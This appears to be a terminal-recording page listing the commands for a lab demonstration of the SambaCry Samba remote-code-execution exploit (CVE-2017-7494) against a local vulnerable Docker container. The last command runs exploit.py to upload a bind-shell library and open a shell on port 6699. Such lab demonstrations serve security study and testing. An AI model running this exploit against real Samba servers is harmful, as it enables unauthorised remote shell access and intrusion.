SambaCry exploit and vulnerable container (CVE-2017-7494)

by FelixBauer
macOS ◆ xterm-256color ◆ zsh 3367 views

—– from https://github.com/opsxcq/exploit-CVE-2017-7494

commands executed:

docker run –rm -it -p 137-139:137-139 -p 445:445 -p 6699:6699 vulnerables/cve-2017-7494

docker exec -it <containerID> bash

apt update && apt install git python-virtualenv

git clone https://github.com/opsxcq/exploit-CVE-2017-7494

cd exploit-CVE-2017-7494

virtualenv venv

source venv/bin/activate

pip install -r requirements.txt

python2 ./exploit.py -t localhost -e libbindshell-samba.so -s data -r /data/libbindshell-samba.so -u sambacry -p nosambanocry -P 6699